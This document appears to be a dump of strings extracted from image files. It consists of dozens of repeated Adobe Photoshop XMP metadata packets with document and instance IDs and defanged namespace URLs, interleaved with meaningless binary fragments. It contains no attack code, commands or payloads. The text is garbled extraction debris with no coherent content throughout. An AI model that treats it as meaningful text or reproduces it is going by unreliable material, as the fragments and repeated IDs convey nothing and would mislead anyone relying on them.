" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:216ADC55278711E49372D6992CCC2C7F" xmpMM:InstanceID="xmp.iid:216ADC54278711E49372D6992CCC2C7F" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:975efaf4-bdc7-5e41-8c42-4837201c5ca6" stRef:documentID="xmp.did:59C23FC6988311E38393CAC2117F5D57"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:B8C658BF278711E4BF7AB493DCD4D5F1" xmpMM:InstanceID="xmp.iid:B8C658BE278711E4BF7AB493DCD4D5F1" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:cbfed21e-71fd-6846-9cae-32d23bed57c3" stRef:documentID="xmp.did:BAF6F155988311E38278ABCC148101F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>h
f.DrO
q(%xq
%u s2
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123" xmpMM:DocumentID="xmp.did:44D7652499DF11E3B81E8204043A22B3" xmpMM:InstanceID="xmp.iid:44D7652399DF11E3B81E8204043A22B3" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ffe19888-6cea-f949-bbc4-84a0437150ea" stRef:documentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>i
8.JP/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:CFBEE8396998E311BFFAAC2757E07188" xmpMM:DocumentID="xmp.did:9F8F6078986911E3BF05F40F4ECFB379" xmpMM:InstanceID="xmp.iid:9F8F6077986911E3BF05F40F4ECFB379" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CFBEE8396998E311BFFAAC2757E07188" stRef:documentID="xmp.did:CFBEE8396998E311BFFAAC2757E07188"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
%F:1'
-DF}j
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123" xmpMM:DocumentID="xmp.did:4064DF2899DF11E381D1C3BAB9E0C599" xmpMM:InstanceID="xmp.iid:4064DF2799DF11E381D1C3BAB9E0C599" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ffe19888-6cea-f949-bbc4-84a0437150ea" stRef:documentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>I
ˆXf84
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:3831DB90278811E4B5609BE066DC747A" xmpMM:InstanceID="xmp.iid:3831DB8F278811E4B5609BE066DC747A" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:23af4c44-0705-7646-955a-700b2ffb3778" stRef:documentID="xmp.did:02AC372CA03911E3831CCF2395716FDC"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:446F5D33B0C011E3A1FF9DF5F0B03982" xmpMM:DocumentID="xmp.did:446F5D34B0C011E3A1FF9DF5F0B03982"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:446F5D31B0C011E3A1FF9DF5F0B03982" stRef:documentID="xmp.did:446F5D32B0C011E3A1FF9DF5F0B03982"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
;%DHs
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:446F5D2FB0C011E3A1FF9DF5F0B03982" xmpMM:DocumentID="xmp.did:446F5D30B0C011E3A1FF9DF5F0B03982"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:446F5D2DB0C011E3A1FF9DF5F0B03982" stRef:documentID="xmp.did:446F5D2EB0C011E3A1FF9DF5F0B03982"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
.Gn#A
.Vc4j
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:C0A4CFE1B0C111E3B81A8C2F7FD41F39" xmpMM:DocumentID="xmp.did:642D2962C12511E39F59B037089F8269" xmpMM:InstanceID="xmp.iid:642D2961C12511E39F59B037089F8269" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:264a4084-72d6-c84c-b529-1abcf9265ba0" stRef:documentID="xmp.did:C0A4CFE1B0C111E3B81A8C2F7FD41F39"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
p.wbGH
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:871324F2446311E481A492FFC5B8799A" xmpMM:InstanceID="xmp.iid:871324F1446311E481A492FFC5B8799A" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:d1b57906-2d7f-1843-ae04-c9b29f57eb79" stRef:documentID="xmp.did:01E7C92943CD11E4872CC3C5B3E0C5E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
ö800`
%U]6CG
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:BE9319EDBBBC11E39E24BFABB5A252ED" xmpMM:InstanceID="xmp.iid:BE9319ECBBBC11E39E24BFABB5A252ED" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2a01a12d-57a9-244b-93ec-cec8eb7669d5" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>c
(s}%c
.sJHH
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:BE9319E9BBBC11E39E24BFABB5A252ED" xmpMM:InstanceID="xmp.iid:BE9319E8BBBC11E39E24BFABB5A252ED" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2a01a12d-57a9-244b-93ec-cec8eb7669d5" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:E4F9987AE15A11E380C3809F034B8B0B" xmpMM:InstanceID="xmp.iid:E4F99879E15A11E380C3809F034B8B0B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7b8f9214-7fd8-f04b-8c2d-ca4efb6c082c" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>_
c-f}pC
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:7728D751278611E4BB82BF8191487043" xmpMM:InstanceID="xmp.iid:7728D750278611E4BB82BF8191487043" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:be927049-f9fd-d240-b4d2-b6ffa697b868" stRef:documentID="xmp.did:FBA9D259A5BA11E39FFCDCE65F30BF49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:caefc256-e5ca-c142-aca0-9a4b394e16ad" xmpMM:DocumentID="xmp.did:C8DA46FD840111E48A2FA3224040C705" xmpMM:InstanceID="xmp.iid:C8DA46FC840111E48A2FA3224040C705" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3acd6d02-e86f-2849-8526-9ad5fcaab5ce" stRef:documentID="xmp.did:caefc256-e5ca-c142-aca0-9a4b394e16ad"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
;.UUU
.zK%>M
4%Ud.[
]W.PN
_.HmP
OCrt
2%d-]
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:3A2F0BB9BACE11E3887E940C754E322A" xmpMM:InstanceID="xmp.iid:3A2F0BB8BACE11E3887E940C754E322A" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9ab16c6f-e5aa-6544-8492-4b793df86f39" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4E47EEC8B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4E47EEC7B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>O0g
t,3S%%%D
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:6EFBF1A1803011E49D63866EA9A7CDA0" xmpMM:InstanceID="xmp.iid:6EFBF1A0803011E49D63866EA9A7CDA0" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:86bd1995-b45d-e04a-88d6-c034a68a5a68" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
U.OVVp$
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123" xmpMM:DocumentID="xmp.did:69FB0A265BE311E3BD78CB04BE21C6DD" xmpMM:InstanceID="xmp.iid:69FB0A255BE311E3BD78CB04BE21C6DD" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ba67187f-a3c9-4e4a-9851-f19c2ca981c6" stRef:documentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123" xmpMM:DocumentID="xmp.did:6242AF707F3B11E38F93EBE43620FAF5" xmpMM:InstanceID="xmp.iid:6242AF6F7F3B11E38F93EBE43620FAF5" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8bac8584-76d7-f243-8f48-8e78ea4cdf8e" stRef:documentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
wkEy
<xmpMM:OriginalDocumentID>xmp.did:8A9AB3700045E311A75483D58FB78965</xmpMM:OriginalDocumentID>
<xmpMM:DocumentID>xmp.did:4762038B450211E3BFE287E4121697C3</xmpMM:DocumentID>
<xmpMM:InstanceID>xmp.iid:85103282-c6f8-ef40-8033-25a7ed69089f</xmpMM:InstanceID>
<stRef:instanceID>xmp.iid:8A9AB3700045E311A75483D58FB78965</stRef:instanceID>
<stRef:documentID>xmp.did:8A9AB3700045E311A75483D58FB78965</stRef:documentID>
<stEvt:instanceID>xmp.iid:85103282-c6f8-ef40-8033-25a7ed69089f</stEvt:instanceID>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:8A9AB3700045E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4762038B450211E3BFE287E4121697C3" xmpMM:InstanceID="xmp.iid:4762038A450211E3BFE287E4121697C3" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8A9AB3700045E311A75483D58FB78965" stRef:documentID="xmp.did:8A9AB3700045E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123" xmpMM:DocumentID="xmp.did:04A493F7A51511E39D0E80B38C753688" xmpMM:InstanceID="xmp.iid:04A493F6A51511E39D0E80B38C753688" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5e364db8-1baa-6d4e-b5d5-ae93c3d7a125" stRef:documentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:DDF0E57FA5BA11E3A14ECB96B91271F4" xmpMM:InstanceID="xmp.iid:DDF0E57EA5BA11E3A14ECB96B91271F4" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:547C3B90BAA5E31195F4F0544E176B2B" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>U
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:DDF0E583A5BA11E3A14ECB96B91271F4" xmpMM:InstanceID="xmp.iid:DDF0E582A5BA11E3A14ECB96B91271F4" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:547C3B90BAA5E31195F4F0544E176B2B" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>-/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:6750BF65C45D11E39F81C6907077B27B" xmpMM:InstanceID="xmp.iid:6750BF64C45D11E39F81C6907077B27B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92906904-62de-ee4f-b8e3-86b9fbefdcf0" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>< C
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:6750BF69C45D11E39F81C6907077B27B" xmpMM:InstanceID="xmp.iid:6750BF68C45D11E39F81C6907077B27B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92906904-62de-ee4f-b8e3-86b9fbefdcf0" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
